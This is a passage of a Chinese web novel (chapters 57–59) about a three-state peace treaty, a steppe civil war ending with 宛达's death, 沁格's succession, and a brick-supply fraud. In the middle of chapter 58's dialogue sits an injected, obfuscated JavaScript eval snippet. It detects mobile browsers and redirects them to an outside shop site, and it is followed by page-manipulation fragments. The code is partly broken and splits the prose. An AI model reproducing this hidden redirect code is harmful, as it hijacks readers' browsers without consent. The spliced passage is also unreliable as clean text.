“若陛下答应,我愿意以一己之力促成三国协定。您知道的,如今我们都不适合再打仗了。” 陈京观说话时微微抬头对上了元衡的目光,而元衡偏着头居高临下地看着他。 不知道是不是陈京观的错觉,他看到元衡的目光中闪过一丝犹疑。 “我可保我在位其间,永不向西芥拔刀。” 陈京观点了点头,等他出了赋阳宫,却不禁低头笑了。 “怎么?” 他们背后的大门又合上了,陆栖野听到了陈京观的笑声,有些诧异地看他。 “不得不说,元衡确实厉害。他这招以退为进,又给了西芥一个未知。” 陆栖野跟在陈京观身后走着,半晌才出声答话:“你是说,他还想打仗?” 陈京观笑着摇头,却再也没有说话,他们回到陆韶怜宫中时陆韶怜正拉着席英放纸鸢,两个人玩得不亦乐乎。 “少将军。” 看见陈京观来了,席英便想要将手里的线绳放下行礼,可陈京观仰着脖子示意她继续。 “陈京观,若是你以后护不住她了,把她送到我宫里来,我是真喜欢。” 陆韶怜将手里线交给侍女,端着茶杯抿了一口。 陈京观就忙说道:“皇后娘娘断不能夺人所好,况且,这要看席英的意愿。” 陆韶怜应了一句是,又转身与身后的董辉言语了两句,陈京观没听见他们所说的,只看到董辉郑重地点头。 “行了,现在就出发吧,夜长梦多。” 陆韶怜从侍女手里接过披风,却系在席英身上,席英本想推脱,陆韶怜却按住了她的手,小声说了句:“记住,以后若是嫁人,寻个爱你的寻常人家最好。” 席英愣了一下,脸却立刻红了起来,她木木地点头,道了声谢。 “就此别过,望陆娘娘多珍重。” 陈京观朝着陆韶怜躬腰行礼,而眼前人的摆了摆手转身进了屋。 “走吧,她不喜欢道别。” 57.阳关三叠(五) 陈京观与陆栖野离开赋阳宫,特意选择从镜湖旁穿过澎州去西芥,这也是自岭扬江断流后陆栖野第一次到这里来。 只有真的站到这时,才会发现实际情况原比呈上去的折子要严重。 澎州的气候与雍州相似,地理环境也无多大差别,所以宛达毁掉的,实际上北梁最好的一块良田。 “当日之你,置于今日之我,此时我才真正明白你为何贸然起兵。” 陆栖野望着一片荒芜的草场,这里的春日,原应是翠绿的。 陈京观没说话,只是骑在马上顺着陆栖野转身的方向望去。 不过要说此时感受最深的,应当是董辉。他握着缰绳的手颤抖着,依稀还能看到他儿时行走过的田垄。 “这一次,我不会放过他的。” 董辉的声音像是自言自语,可因为临近傍晚,这原野上除却他们四人,只有天边的月和耳边的风,他的声音,也就由风吹进了身边人的耳朵里。 陈京观伸手拍了拍董辉的肩膀,接触的瞬间,他感觉到了董辉绷紧的肌肉。 片刻后一行人动身,只是若直接从宛达部进去太过显眼,于是他们选择往南走到了原先的恪多部。 一路上,陈京观看到了许多拉着砖料的车在与他们同行,这时他也明白了萧霖不愿再说话的原因。 毕竟只有听者有意时,说者才会真的有心。 半个多月后,忽兰依旧历换了春牧场,陈京观找到他的时候,发现他今年的选址离从参州更近了。 因为陈京观在来之前就给他写了信,此时忽兰再见到他时神色如常,吩咐人收拾出来几间毡房,又派人将他们的马圈了起来,一切安排得有条不紊。 “许久不见,少将军安好?” 忽兰微微低头向陈京观行礼,陈京观便点头朝他回礼道:“安好。如今看来,西芥在首领的带领下更胜从前。” 忽兰笑了笑,将头转到了陆栖野的方向,道:“这位,是陆少主?” “在下陆栖野,陆家马场少主,见过忽兰首领。” 陆栖野学着陈京观的样子将左手扶在肩上低头,忽兰便应了一声将他扶起来。 “沁格估摸着这几日也就到了,到时候倒是要烦请陆少主教教她养马的门道,她如今在木尔斯草原也有几千匹好马等着规训。” 陆栖野微笑着说了声好,几人便落了座。 “我看着雍州界的城堑又开始往南修了,少将军是为了这件事回的雍州吧。” 陈京观点头道:“是,毕竟已是七八年的工程,半途而废耗费更多。” 忽兰的表情不置可否,陈京观便补充道:“当时修这城堑目的就在于防遏佐,当时他攻进参州亦能说明问题,还望首领理解。” 其实忽兰自从当上首领之后,陈京观对他说话就客气了许多,不知是不是他的错觉,那西芥的圣水好似有魔力,论谁被洗礼,都会成为恪多的模样。 “那少将军所提到条件,我能否再加上一条?” 忽兰说话时眼睛望着陈京观,而陈京观大致猜到了他的意思。 “南魏的事情我做不了主,况且一来一回还要耽搁日子。若首领愿意信我,我可以以我自己起誓,非西芥主动来战,我不会领兵踏入西芥半步。” 闻言,忽兰若有所思地摆着头,片刻之后他招了招手,让门外等着的仆人拿来了协议。 “少将军所言与我的想法不谋而合,我自然也相信将军之为人,可有些话,只有白纸黑字写出来,大家才能更安心不是吗?” 陈京观笑着与陆栖野对视一眼,陆栖野缓缓点头拿出了元衡的私印。 一张看起来只有三人署名的协议,却在顷刻间敲定了三国未来十多年的和平,后来这一笔被记在了史书上,留下了《岭扬协议》的典故。 而这场谈判看似顺利,可这之后,由谁领兵,众人心中各有思索。 要说这一仗其实不难打,毕竟对方不过是个十七岁的少年,无亲无故,无依无靠,可也正因如此,谁来做这个赶尽杀绝的恶人,谁就要被冠上无情的名号。 对于刚登上首领之位的忽兰来说,他自是不愿意随意挑事,对于陆栖野来说,他费尽周折就为了置身事外,而对于陈京观,他走到这一步算是半推半就。 “我去。” 帐子被拉开,大风呼啸间沁格的声音在空中回旋。 “遏佐杀了阿布,我只记得这个。” 沁格将门帘放下,陈京观才看清她的脸。 她该是冒着风雪一刻不停地来的,两个脸蛋被冻得有些发红,不过她看起来圆润了一些,也更结实了,缠着马鞭的手臂线条清晰。 她这话一出,陈京观不经意瞥见忽兰脸色一变,像是被戳中了痛处。 “如今我手下有四千人,宛达不过是占了地势易守难攻,可若大兵压境,他无处遁逃。” 沁格说着跑到炉火旁烤着湿掉的衣裙,陆栖野和她彼此对望一眼,相□□头示意。 “那就趁着这几日大家牧场迁徙,打他个措手不及。” 忽兰突然开口,陈京观有些迟疑地等着他的下文。 “沁格说的对,阿布的事情就是教训,狼崽子养不熟,长生天的孩子不会自相残杀。他们,已经不是我们的部员了。” 忽兰的话给了这次进攻一个合理的借口,大家也都默契地应下了他的说辞。 当晚,沁格派自己的亲卫回草原传信,自己与忽兰在统战营待到了半夜。 陈京观此时的身份不方便入内,不过董辉打定主意要一雪前耻,而他的存在既向忽兰表明了陈京观的态度,又不至于让陈京观落入南魏御史的口诛笔伐之中,算得上最好的结果。 “你说,是不是无论是谁坐在那个位置上,他所在意的,都更多是他自己。” 落日时分,陈京观和陆栖野坐在账外烤火,席英就在一旁玩弄陆韶龄给她的玉佩。 “可在那位置上,原更应该在乎天下。” 陆栖野没有回答的陈京观的话,又听到陈京观继续说,说罢后他将自己的身子缩了缩。 “不过他还是信你,这总是好的。” 陆栖野开口安慰,他察觉得出陈京观的失落,毕竟交过心的朋友在一年间突然变了一副模样,确实很难让人接受。 “索性是我又赌对了,他还留存着初次见面时的热血。” 陈京观伸出手靠近火源,突如其来的温暖让他僵硬的手指得以弯曲,他是怕冷的,可命运总爱和他开玩笑,每次冬日他都在最冷的地方。 “这些日子在南魏如何?你信上总报喜不报忧,我不信。” 陆栖野话锋一转,面带微笑看着陈京观,而那双烤火的手一滞,随后从腰间取下一枚玉佩。 “蒋铎临死时留给我的,我不明白他的意思。” 陆栖野接过那冰凉的玉,用拇指轻轻摩挲,陈京观便继续说:“我以为他该恨我,可是三司会审时他比任何时候都平静,来传信的公公说他死得不痛苦,因为药量大,他在昏迷中就没了气息。” 陈京观说出了这么多天一直憋在心里的话,放在以前他不会讲给陆栖野听,可是现在的陆栖野让他看到了自己的影子。 “你说,他斗了一辈子换了这样的结局,值得吗?” 陆栖野没说话,侧身又把玉佩系到了陈京观腰间,系好之时还伸手拍了拍他的腰侧,惹得陈京观一机灵。 “那你觉得他该死吗?” 陈京观闻言点头,但是又撇着嘴似乎在犹豫。 “你是觉得他不该这么死。” 陈京观又继续点头,而陆栖野却笑了。 “其实他这么死,对他来说确实是个解脱,说不定再斗下去,他死无葬身之地。不过你该重视起来了,他背后的人能这么轻易地舍弃他,证明她寻到了新的利刃。” 陆栖野说罢站起身来,拍了拍身上的灰尘,又给陈京观递过去一只手。 “不过事到如今,我们只能继续走下去了。” 陈京观抬头看了一眼陆栖野,抿着嘴没说话,伸手拉着他的手站了起来。 “走吧,你也早些去休息。” 陈京观转身对有些愣神的席英说道,席英木讷地点头从地上站起来。 “少将军,你说我最好的归属是什么?” 说罢,席英的眼睛对上了陈京观的目光,她的半边脸被火烤得有些发红,带着一丝迷离的神色。 “是今日陆娘娘与你说了什么?” 陆栖野听着觉得自己应该先离开,便拍了拍陈京观的胳膊一个人往前走。 等着他走远了,陈京观就继续说道:“她所说的,是她的人生,你自当要认真思考。可你的人生与她不同,你只要确保你自己选择时是顺意的就好。” 席英点了点头,将手里的玉佩收进了怀里,微微倾身朝陈京观作别。 “对了,平芜小时候也喜欢放纸鸢,他的手艺不错,你们除却练功,可以一同去玩。他与你年岁差不多,有些话你不愿讲与我听,可以试着说给他。他虽然看上去还是长不大的样子,但是心里的主意正,人很好的。” 陈京观抖了抖席英的披风,笑着把她肩膀处的褶皱抚平,而席英若有所思地点头道了声好。 三日之后,沁格的部队打破了宛达在岭扬江上游的封锁,用最快的速度向南推进。 与此同时,忽兰的队伍分为三个部分,由出征的三人分别带领,迎上突击的 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宛达说罢,那些托着长枪的人纷纷往前冲,沁格偏过头看了忽兰一眼,发现他脸上也有些犹豫。 宛达这一年多大有长进,不过全长在了歪门邪道上。他号令当日随遏佐出征而战死的兵士的家属上征复仇,这样既扩大了声势,也占领了道德制高点。 自古以来不杀妇孺,这是大家的共识。 宛达见眼前的人没有动作,他脸上便露出阴谋得逞的笑容,他挥鞭策马跟在这群“人肉盾牌”的后面,而他余下的两千兵力此时列队整装待发。 下一秒,一阵箭雨来袭,沁格勒马回撤,却看见冲在最前面的妇孺倒在了自己人手下。 “宛达!你这等行事会遭到上天惩罚的!” 沁格咬牙切齿地喊道,可宛达毫不在乎,他就这么慢慢从包围圈里向外移动,同时逐步逼近忽兰所在的位置。 突然,宛达手里的长枪被握紧,他在霎那间冲出人群直冲忽兰去了,忽兰用手上的长刀抵抗,却被宛达用枪尖挑破了胳膊。 “那一日父亲败给你,可我不会了。” 说话间,宛达的动作没有丝毫停滞,他的枪头直逼向忽兰的咽喉。 沁格见情况不对,立刻冲过救忽兰,可她还未靠近就被宛达周围的人群拦住了去路。 此时的宛达和忽兰被困在另一个包围圈里,而这个包围圈,只能以其中一方的战败破解。 “唰”,一直长箭穿透宛达的胳膊,他回身看了一眼,只见董辉切断了他的后路,将他部属的箭卫一网打尽,可董辉也依旧被堵在人墙之外,宛达立刻转身用视觉差阻碍董辉的视线,让他不敢再轻易放箭。 随后只听他冷笑了一声从腰间用匕首斩断了刺出来的箭杆,随后用手中的长枪朝忽兰的马刺去,那马受了惊,抬起前蹄。 由于周遭的人离得很近,忽兰为了确保不会伤到旁人,只得使劲拉缰绳,最后被重重摔在了地上。 “你与你阿布一样,总是有些多余的同情心。” 宛达的话连同摔落时突然的刺痛一起刺激着忽兰的神经,他一瞬便红了双眼,还没等站稳就冲了出去,可他此时处在下位,长刀相较于长枪也没有优势,宛达骑在马上一个转身就躲开了他的进攻。 突然,随着最外面的人传出一声惨叫,宛达的护盾在一瞬之间乱了阵脚。 沁格的刀低垂着,而她衣裙的下摆处沾满了刚才倒下去那人的鲜血,她抬头看了一眼宛达,而那一瞬宛达眼中的惊慌预示着他的结局。 可正如陈京观对萧霖虽说,困兽犹斗,不死不休,宛达失去了防御后在进攻上更加主动,他凭借高处的优势追击落单的忽兰,等沁格跑来时忽兰的胸口已经一片殷红。 沁格的长刀在宛达最后一次攻击忽兰时迎了上去,随即就是她更为用力地挥刀,而董辉接上了受伤的忽兰,让人先将他送回营地,他自己立刻用手中的刀与沁格形成左右围攻之势。 此时外围的散兵游勇被尽数抓获,那些被游说的妇孺也被控制了起来,只余下视野中心的三人相互缠斗。 不知是宛达的突然懈怠还是沁格把握住了时机,随着一声沉闷的吼叫,宛达背部着地跌落马下。 沁格没有给他反应的时间,下一秒她的长刀就划破了宛达的咽喉,地上的人的瞳孔一瞬间变得灰白。 “结束了,一切都结束。” 沁格握刀的手颤抖着,胸口因为呼吸不畅而剧烈起伏,可她没有大仇得报的快感,她只觉得浑身冰凉,董辉见状立刻上前扶住了她的胳膊。 “这是最好的结局。还有人性的人,不会从战争中得到快乐。” 58.阳关三叠(六) 宛达还是被厚葬了,因为比起他父亲的罪行,他其实什么也没做。 可是他得死,这是命数里的结局。 沁格让人替宛达收尸,将他作为他那一脉最后的王爷,葬在了西芥的王陵中,而遏佐并没有享受到这一切。 真正到了宛达下葬的那天,除却兹察照例派人去替他超度,没有一个人在属于他的天坑旁为他诵经,直到鸟兽相迎,接他回家。 宛达死后,西芥也就从最初的七部联盟彻底变成了两部分存,而其中的兹察部并不具有竞争力。 在某种意义上,西芥完成了统一。 只是忽兰在那这场内战后久病不起,他的背部被宛达的长□□了好几个血窟窿,为了避免恪多的悲剧再次发生,沁格托了陈京观去槐州寻医,最后费力给他捡回来一条命,可忽兰的右臂却没了知觉。 从那以后,他长久地坐在马场旁看着牧民放羊,右臂垂着,他便用双腿夹住酒壶,再拿不太熟练的左臂拧开盖子。 他不是个酗酒的人,但是酒精在此刻是他最好的良药。 当时他被宛达刺下马时就知道了自己的结局,他以为自己已经有了君王的杀伐果决,有了目空一切的胆量,可是眼前的人手里颤颤巍巍拿着刀,他下不去手,他只能等死。 他后悔过为何要出征,但是他并没有把这一切说出来,他遣退了自己的亲卫团,将自己最信得过的兄弟托付给了沁格。 这一刻,忽兰明白了父亲的坚持。 西芥不缺有血性的英雄,被郎中救回来的只是残躯。 这之后沁格试图与他交流,但是忽兰总以部落事务为重的理由故意躲着她。 如今整个西芥的版图被重新分割,兹察又回到了岭扬江左岸,这也是北梁的条件之一。 毕竟信仰,是西芥永远无法割舍的东西。 而陆栖野在一切结束后拿了协议回去复命,他现在的身份已经不再是随心所欲的陆小爷了。 只是这一次他走时,陈京观感觉到了他眼中真正的离别。 整件事情看似告一段落,可是属于西芥的余震还在继续。 那些被宛达怂恿的妇孺该如何处理,宛达遗留下的叛军又该如何处理,甚至忽兰作为西芥的首领,在这样的状态下是否可以继任,这些连锁反应全都积压在了沁格的身上。 那日沁格挥刀斩首了最外围的女子,后来她的尸首在兵荒马乱中变得面目全非,她本就没有名字,也没有身份,想要寻到她的家人,只能凭着沁格对她最后的记忆。 沁格只记得她那双如同小牛犊一般的眼睛。 “别吉,经筛查本次参与暴乱的共有一千零二十六名德尔哈,其中多数已被家人带走,剩余十四名孤儿无人认领。” 德尔哈,西芥语中植树人的意思。 沁格朝着报信的兵士点头,而陈京观坐在帐中烤着火,突然叹了一口气。 “少将军有何想法?” 沁格注意到了他的反应,朝他的位置走过去。 陈京观此时再抬头看眼前的女子,她的高马尾变成了束发,用一根红木簪在头顶上,她手臂上的伤还有些红肿,不过天气日渐暖和起来,倒也不必担心冻疮。 只是她已经和初见时留着小辫的别吉全然不同了。 “要不是家人担心受牵连,要不是家中没人了。无论哪一种,把她们放回腾里沙漠,都是死路一条。” 沁格没说话,她知道陈京观说得没错。在西芥,没有姓名的奴隶可以被随意驱使,其中女子,更是不要嫁妆的工具。 不过可笑的是,在大多数人眼中还有一道身份地位的门槛,否则西芥的女子会活得更加艰难。 “我会带她们回草原。” 陈京观点了点头,转瞬间又似想起了什么,他朝身边的董辉使眼色,董辉愣了片刻,了然地点头,随后起身到他帐中翻找了许久,等他再回来时,手上拿着一枚腰牌。 “别吉许我先去见见她们吗?” 陈京观接过董辉递来的东西,沁格虽然心怀不解,可她还是拉开帘子示意陈京观出门,而她跟了上去。 在离首领帐不远的地方,十四个披头散发的女子跪在地上,她们的手脚被绳索束住,身上除却战斗时留下的伤,还依稀可见新的血痕。 陈京观双手背在后面,从她们面前缓缓走过,他故意左右摇晃着手里的腰牌,等他去到最后一个低头的女子那里,他感觉到那姑娘的膝盖向前挪动了分毫,他偏过头看她,她便将头埋得更深。 “你认识,对吗?” 陈京观半蹲着努力与那女子保持平视,可是她抿着嘴半天不说话。 “你认识多摩罗,是吗?” 见那女子依旧沉默,跟在沁格身后的亲兵就想要上前,可陈京观抬手拦住了他。 “赞木琪徳,很好听的名字,是他给你取的对吗?” 此时的赞木琪徳身子有些颤抖,她咽了口喉咙里堵住的血沫子,陈京观听到她轻轻“嗯”了一声。 “他的尸首由我的人送回腾里了,你放心,遏佐一定没找到。” 陈京观的话被眼前人的抽泣打断,他拿出腰间的匕首斩断了束住她双手的绳子,那块腰牌也落到了她的手上。 “他临死前还记得念着你的名字。当然,他到临死前也没有透露丝毫情报。” “那他,算是英雄吗?” 赞木琪徳因为长时间未进水,她说话时的嗓音像是从胸腔中传出来的一般,陈京观犹豫了一下点了头。 “他算是你的英雄。” 突然的轻笑从赞木琪徳的口中发出,随即就是一声叹息,她终于肯抬头看着陈京观,而那一时刻他也明白了沁格为何会形容那战死的女子是牛犊般的双眸。 干净,顽强,这是他看到的这一汪黑色泉水下的全部内容。 “别吉,原将我送回腾里吧,遭到什么我都接受。” 赞木琪徳转头看向沁格,而她的话刺痛了沁格的心。 她看起来是个二十岁不到的姑娘,可常年没日没夜的暴晒让她的皮肤粗糙而黝黑。 沁格没有回答她,而是下令亲卫放开了所有人的锁链,宣布她们可以随自己去草原。 其余十三个姑娘无疑是惊喜的,她们的面容在那一刻焕发新生,纵使去草原还是逃不过牧羊的宿命,可相较于腾里的环境,这对于她们来说已经是天大的好消息。 只有赞木琪徳一个人没说话,她跪在地上像是失去了所有力气,肩膀上乌黑的长发随着她的脑袋一起耷拉下去。 “现在,你还是愿意去腾里吗?” 沁格走到赞木琪徳的身边,陈京观便起身让位,他瞧着两个年岁相仿,却截然不同的人此刻出现在一幅画面中,他心里有种说不上来的难受。 “愿意。” 赞木琪徳的回答很简单,沁格也没有再说什么,她直起身点了点头,示意她可以离开了。 “我最后还想问您一个问题。” 赞木琪徳的声音响亮了很多,而她的大胆让在场所有人感到诧异,沁格止住了脚步,等着她继续说。 “别吉,草原是什么样的?” 赞木琪徳问话时满是犹豫,沁格突然被涌上来的眼泪模糊了双眼,她小心翼翼地调整呼吸,让自己看起来没有异样。 “那里有溪流,有松柏,有鹿和松鼠,还有一望无际的马场。” “可是那里没有赞木琪徳对吗?” 赞木琪徳,西芥语中红柳木的意思。 “对,”沁格缓缓转身,她看着赞木琪徳的眼睛,“只有沙漠才能生出那般坚韧的植物。” 闻言,赞木琪徳笑了,她朝沁格点了点头说了句谢谢,又缓缓朝陈京观鞠躬,然后握着那块被血迹腐蚀的腰牌,又走向了她的沙漠。 陈京观看着那背影走远,而他再转身时沁格已经泪流满面。 她在父亲的葬礼上哭不出来,她被遏佐打在地上的时候哭不出来,她双手沾满鲜血时哭不出来,可是此时,她的无力感战胜了她的理智。 “走吧,该去和你阿哈谈一谈了。” 沁格点着头,努力用手将眼泪和鼻涕擦净,陈京观递给她一块手绢,她先是愣了一下,随后轻笑地说了句谢谢。 “赞木琪徳……你们的祖先很喜欢红柳吧。” 陈京观边走边说,而沁格轻声嗯了一句,片刻之后突然站住脚步。 “我也想拉她们一把,就像当初你拉我一样。” 沁格的语气坚定,她哭红的眼睛还带着晶莹,陈京观微微勾起嘴角示意她继续向前走,等他们快到忽兰的帐外时,陈京观止步了。 “别吉是自己的玄鸟,我始终坚信这句话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505783|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说罢,陈京观朝沁格摆了摆手示意她进去,沁格本还有些愣神,那帐中突然传来一句:“进来吧。” 沁格微微朝陈京观行礼,而在她转身拉开帐帘的一瞬,满屋的酒气扑面而来。 “你喝了多少?” 沁格的语气不算好,她看着地上横七竖八的瓶子,一边进屋一边将门帘掀起来散味。 “别开。” 忽兰的声音不知是几次宿醉后的产物,他如今斜靠在榻边,门外照进来的光就打在他的脸上,他渐渐眯起眼睛,像是很难适应许久未见的阳光。 “一切都处理好了,就剩你了。” 沁格说着,迈步走到忽兰旁边坐下,顺手夺过他怀里的酒壶,仰头将里面的酒一饮而尽。 “喝完是舒服些。” 沁格的表情已经出卖了她不善饮酒的本性,可忽兰并没有出言反驳她,而是望着自己的妹妹笑了。 “这几日你的人每天早上都会来给我汇报部落的近况,你做得很好。” 忽兰说罢,用左臂撑着地面将身子转了个方向,沁格便默契地别过了头。 “你若是男子,其实你才是我最大的对手。” 沁格闻言抿着嘴没说话,而忽兰却开始陷入自己半梦半醒的自述中。 “我见过你的额吉,她比你还要美丽。当时阿布迎娶她进门,我还去她的婚床上捉弄过她,可她性格很好,还将自己的头上的红玛瑙给了我。可惜后来我弄丢了。” 忽兰年长沁格九岁,沁格从出生时就习惯了没有母亲的日子,可在忽兰的眼里,妹妹的母亲,就是自己想象中母亲的模样。 那时沁格的母亲刚满十九,而恪多已经年近四十,所以没有沁格的那两年,忽兰每日黏着沁格的母亲,缠着她陪自己放马,让她与自己一同去钓鱼,也是因为这些回忆,自沁格从出生那刻起,忽兰就当她作了自己的亲妹妹。 但沁格的出现,也让忽兰失去了母亲。 他还记得那一日他哭得有多声嘶力竭,而他的手被恪多紧紧握着,直到他的四根手指都快没了知觉。 那之后,恪多也没有再娶过妻,即使他作为部落首领只有一子很危险,可他依旧守着一双儿女度过了后半辈子。 “阿布当时看到你时,我第一次看到他流泪。他抱着你的母亲哭了,可最后依旧不得不撒手。后来你就成了西芥唯一有姓名的女子。沁格,是自由的意思。” 忽兰的脸不知是因为酒精上头还是情绪满怀,他的眼眶下红了一片,他说到这突然笑了,然后抬头盯着沁格。 “所以,去让更多长生天的别吉自由吧。” 沁格原本还沉浸在母亲的故事里,忽兰这一句话将她拉回到现实,她抬头对上了忽兰的眼睛。 “你是说……” “是的,西芥的天,从来不该只庇佑草原,你们如岭扬江一般,是西芥的母亲。” 沁格的的喉咙被堵住,她在与陈京观说起自己的想法被自己的话吓了一跳,可那话说出口,她心里的意愿却越来越强烈。 直到此刻,忽兰彻底将一切点破,她才意识到自己想要的是什么。 圣水是从克尔茶湖取的,西芥百姓是岭扬江喂养长大的,被记住的不该只有西芥的草原。 “那你呢?” 沁格突然发问,而忽兰笑着回答道:“遏佐虽然心术不正,可是腾里在他的管制下好了很多,他没了,便又我顶上去吧。” 沁格闻言眉间的担心陡然升起,忽兰便宽慰她:“以前的腾里是炼狱,可总有人选择坚守在那里,那就让愿意留下的人留下吧,我相信那片土地会回报热爱它的子民。” 忽兰的意思沁格听得明白,该被保护的人,只因为他们是人,就该有姓名。 沁格从忽兰的帐中出来时已到了傍晚,如今三月的落日也有了属于它的温度,那斜晖洒落在草地上,连接着看不到尽头的沙漠一直通往长生天。 沁格去寻陈京观时他的帐子已经空了,而他留了一张字条,上面写着:“我的承诺,依然有效。” 突然,又是如那日一般的寂静,只是此时帐子外的巡逻兵正在换班,一切都是井然有序的样子,沁格不再是被丢在沙漠中的人偶,她的身上从马服,到罗裙,用不了几日,又将换成首领的长袍。 这次,她不怕了。 59.沉疴墨吏(一) 沁格的继位对于西芥的正统是极大的挑战,可故去的王族已经没有势力能与她一决高低,而兹察的站队也表明了自己的立场。 在沁格的即位大典上,兹察派出了自己最得力的儿子科迪。 同样的天命神授,沁格接过了父亲的顶冠。 不过沁格在如今的情形下继位,她的那些理想抱负也就变得更难实现。 但她依旧在部落大会上力排众议,正式宣布废除三等级,同时责令将西芥所有百姓无论男女老少全部编册登记,依据其特长和意愿分派各自的营地,交由新选举产生的小部落首领管辖。 沁格的改革无疑是对西芥的一次重大冲击,但是在她的兵力压制下,没有人能说半个不字。 忽兰临走时留下了兵,而陈京观临走时给雍州去了消息,他前脚往回走,后脚穆氏三兄弟就出发赶往西芥。 他给沁格的字条下面用小字说明了穆氏三兄弟的情况,同时着重提到了穆远山在围剿遏佐时的功绩。 陈京观此举沁格当然明白,如今的西芥已无内忧,他们再见面时,是敌是友,尚未可知。陈京观已经做了他能做的所有去帮沁格。 一个新政权的更迭是复杂的,而伴随更迭产生的变化更是痛苦的。 可是沁格已经看到过外面的天空了,她不会允许她的家乡困守于此,她要从头到尾塑造一个新的国度,她不会忘记自己的姓名。 他们始终该是自由的。 而有了北梁和西芥的配合,陈京观在雍州的事情办得很顺利,他回家时约莫四月的样子,天气暖和了工程推进得就更快,等他在城外寻到弗行远时,宗毓庆正和他呆在一起。 “知州,你倒是守信。” 陈京观翻身从马上下来,他还没来得及回家,只是托了董辉回去报信。 宗毓庆循声看过来,脸上有些埋怨的表情,嘴上也就冷嘲热讽起来。 “你小子真是会使唤人,面都没露活儿就给我派下来了。你这一去两三个月,就留我每日守在这风口子上。” 陈京观知道他是开玩笑,就顺着他的话应承道:“宗叔能者多劳,量说别人来我还不放心。” 宗毓庆撇了撇嘴,伸手将陈京观往自己身边拉,陈京观抬眼时瞥见弗行远朝他微微低头。 “怎么,有事?” 陈京观配合着宗毓庆的动作,两个人慢慢走到了没人处。 “我觉得他有问题。” 宗毓庆丝毫不加掩饰,他说话时眼睛看着弗行远,等说罢就抿着嘴。 “你是发现了什么?” 宗毓庆点头道:“他每月的账册都会给我看,数目和价格都对得上,但是你要相信我做生意这么多年来的直觉,那个帐太漂亮了。” 陈京观闻言下意识挑眉,缩在袖子里的左手食指与拇指相互搓磨,见他不说话,宗毓庆就继续解释道:“别怪我多心,他这个位置可有的是油水,而且他那么多年都没被提点过,就守在这堆土砖旁边,我不信他没有想法。” 陈京观点了点头打断了宗毓庆的话,伸手轻拍着他的肩。 “我知道您的意思,但是切莫打草惊蛇,这工程看上去再有两个月我们这部分就能成,到时候十年的总账势势必要交回朝廷,他想做什么这几个月也就该做了。” 宗毓庆见陈京观好像已经有了主意,就不再言说什么,脸上又换上那副漫不经心的表情。 “听说西芥这次彻底太平了?” 陈京观愣了一下,答道:“希望如此吧。” “新上来的女首领,你可见过?可是好相与的?” 陈京观笑着看了宗毓庆一眼,他一开口陈京观就知道他葫芦里卖的是什么药了,他故作高深地咳了一声,眉头微微皱起。 “那可是杀人不眨眼的。” 听了陈京观这话,宗毓庆先是叹了一口气,随即反应过来陈京观在戏弄他,便暗地里用手指戳他的腰。 “好小子,连我都敢戏弄了?你知道的,我做的正经生意,”宗毓庆说到这声音突然放低,“再说了,朝廷发的还不够我家那口子一个季度的吃穿用度,你要方便了就给我搭个线。” 陈京观没说话,作势要往城堑处走,宗毓庆就上前拉住了他的袖子。 “全看在我这些日子做你眼线的份上,嗯?” 宗家原本是种地务农的,到了宗毓庆这一代终于出了个读书的料,可惜他仕途不顺,于是三十岁时选择另辟蹊径,开始下海经商。不过他脑子活,几次时机抓得准,雍州走外贸最火红的就是他的店铺。 可走外贸要依靠的是对面的话语权,他之前靠的一直是恪多,忽兰继位后也没有换人的意图,而他最近听闻这个沁格不是一般人,难免就生出些紧张。 陈京观明白的他的处境,也知道他的为人,而且他在任时生意都交给了几个儿子或者亲戚,最起码账面上是干净的,他也就没有在此事上做文章。 “你家有药材铺子是吗?” 陈京观突然开口问道,宗毓庆还有些摸不着头脑,但还是应了一声“有”。 “西芥估计要不了多少时日就会到南北两地寻医,到时候你把握住机会可以给他们供药。这件事他们没做过,所以对行情不是很了解,但是你也守住底线。” 陈京观说完瞧了宗毓庆一眼,宗毓庆明了的点头,可嘴角的弧度却怎么也压不住了。 “对了,我让你查的给弗行远供砖料的商铺底细你清楚了吗?” 宗毓庆点了点头,向四周看了看,小心翼翼地从怀里拿出一张字条。 “我在参州的分号定过那家的砖料,我让他们对了账册,并没有发现不对。但是你的一句话提醒了我,我怀疑他在砖料上做了手脚。” 陈京观手里接过那张纸条,上面将参州最热门的几种砖石原料都列了出来,其中大多都是常见的矿物,但一个叫“燧岩”的原料引起了他的注意。 “我记得这个料子,只在瓦楞砖上用,目的是排水。” 宗毓宗听着陈京观的话颇为欣慰地点头,随即便解释道:“一般的城墙要选密度小不易吸水的料子,燧岩是符合的,但是这个料子如果放置在平面上,极易打滑。” 陈京观握着字条的手紧了紧,他想到了那日他在城堑上行走时产生的异常感觉。 一个不吸水的料子,如果冬日的雪水覆盖在上面,它就只能等着雪融水然后结冰。 至于为什么这么多年来都没人发现,陈京观此刻大致也有了想法。 这么多年来雍州往往在一月初就会下最后一场雪,等到大家开工,监工的人再耽搁几日,这一切证据便会被阳光蒸发殆尽。 神不知鬼不觉,这一招确实妙。 如果不是陈京观一时兴起提前一天去了城堑,等他第二日再去时,估计即使有残留的痕迹也会被冲刷干净。 “那除却这个问题,加了燧岩的砖料,价格上……” 宗毓庆没说话,但是他微微点头的动作默认了陈京观心里的想法。 “还有就是这砖料是特供城堑修建的,所以不知道从何时起就已经换了这种砖。不过依据我知道的消息,整个参州就一家砖窑能做这种货,毕竟燧岩的温度不好把控,一旦烧制时间过长,从面子上就能看得出掺假。“ 宗毓庆顿了一下,陈京观示意他继续说。 “不知,您可知道周家?” 陈京观闻言没忍住笑出了声,宗毓庆就有些诧异地看他。 “也是,毕竟周原任升任工部尚书之前就是营缮司郎中,没有他,单凭弗行远做不了这么长线的事情。” 宗毓庆见陈京观明白了一切,便微微侧身要告辞离开。他临走时有些欲言又止,陈京观就示意他继续说。 “有句话我觉得还是该说,”宗毓庆那一时刻的脸色不算好看,“十年没动静的事情,就让他埋到土里吧。” 说罢,宗毓庆叹了一口气转身就走,而刚才被陈京观留在工地的席英此时跑过来叫他。 